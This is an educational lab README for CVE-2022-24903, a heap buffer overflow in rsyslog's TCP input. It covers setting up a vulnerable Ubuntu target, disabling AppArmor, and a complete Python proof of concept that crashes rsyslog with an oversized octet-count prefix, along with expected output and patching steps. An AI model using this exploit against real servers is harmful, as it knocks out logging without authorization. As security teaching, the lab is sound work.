
CVE-2022-24903 Heap-based buffer overflow
Author: Andrew Beshay Mousa
A practical hands-on lab demonstrating the rsyslog heap buffer overflow vulnerability.
A practical lab environment to reproduce and understand the rsyslog Heap Buffer Overflow vulnerability (CVE-2022-24903) via octet-counted framing in TCP syslog reception.
CVE-2022-24903 is a heap buffer overflow vulnerability in rsyslog's TCP syslog reception module (imtcp) when using octet-counted framing (RFC 5425).
An attacker can send a crafted TCP syslog message with an excessively long octet-count prefix, causing rsyslog to write beyond the bounds of a heap-allocated buffer, resulting in a denial of service (DoS) or potential memory corruption.
| Attribute | Value |
|---|---|
| CVE ID | CVE-2022-24903 |
| Affected | rsyslog < 8.2204.1 |
| Vector | Network |
| Port | 514/TCP |
| Module | imtcp (TCP Input) |
| Impact | DoS / Heap Corruption |
| RCE Likely? | No (vendor assessment) |
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
| VM | OS | Role | IP | RAM | CPU |
|---|---|---|---|---|---|
| Target | Ubuntu 22.04 | Vulnerable rsyslog server | 192.168.56.20 | 1 GB | 1 |
| Attacker | Kali Linux | Exploit sender | 192.168.56.10 | 2 GB | 1 |
Note: You can use any Ubuntu version (20.04, 22.04, 24.04) as the Target. The key is manually installing the vulnerable rsyslog 8.2001.0
.debpackage.
In TCP syslog (RFC 5425), messages are prefixed with their length in bytes:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
In vulnerable rsyslog versions, the octet-count parser:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Result: Sending 9999... (5000+ digits) overflows the heap buffer, corrupting adjacent memory.
0-9)In your hypervisor, create a Host-Only network:
192.168.56.0/24Attach both VMs to this network.
sudo nano /etc/netplan/00-installer-config.yaml
Paste:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Apply:
sudo netplan apply
Verify:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
If you get a dpkg lock error:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Verify version:
rsyslogd -v | head -2
Expected output:
rsyslogd 8.2001.0
AppArmor may block rsyslog from functioning correctly with the old package:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Clear the file and paste:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Verify listening:
sudo ss -tlnp | grep 514
Expected:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Paste:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
Or if using Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Paste:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
Make executable:
chmod +x exploit.py
From the Attacker, verify connectivity:
nc -zv 192.168.56.20 514
Expected:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
Expected output:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
On the Target machine, verify the crash:
ps aux | grep rsyslog
If no output -> rsyslog crashed
sudo dmesg | tail -10
Expected output:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
Or:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
To confirm reproducibility:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
Then re-run the exploit from Kali. The crash should happen again.
| Issue | Solution |
|---|---|
Connection refused | rsyslog is not running or not listening on TCP 514. Check sudo systemctl status rsyslog and `sudo ss -tlnp |
Unit rsyslog.service is masked | Run sudo systemctl unmask rsyslog.service syslog.socket |
dpkg frontend lock | Run sudo kill -9 <PID> then sudo rm -f /var/lib/dpkg/lock-frontend |
| AppArmor DENIED in dmesg | Run sudo systemctl stop apparmor && sudo systemctl disable apparmor |
| rsyslog version is 8.2112+ | You installed the patched version. Download and install rsyslog_8.2001.0-1ubuntu1_amd64.deb manually |
| No crash after exploit | Increase payload size to b"9" * 20000 |
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
Verify patched version:
rsyslogd -v | head -2
Should be 8.2204.1 or higher.
Comment out in /etc/rsyslog.conf:
# module(load="imtcp")
# input(type="imtcp" port="514")
If TCP syslog is required, use encrypted transport:
module(load="imgtls")
input(type="imgtls" port="6514")
Restrict TCP 514 to trusted hosts only:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
This lab is for educational and research purposes only. Do not use this exploit against systems you do not own or have explicit permission to test. The author assumes no liability for misuse of this information.
This project is licensed under the MIT License.
Built with coffee and curiosity by Andrew Beshay Mousa.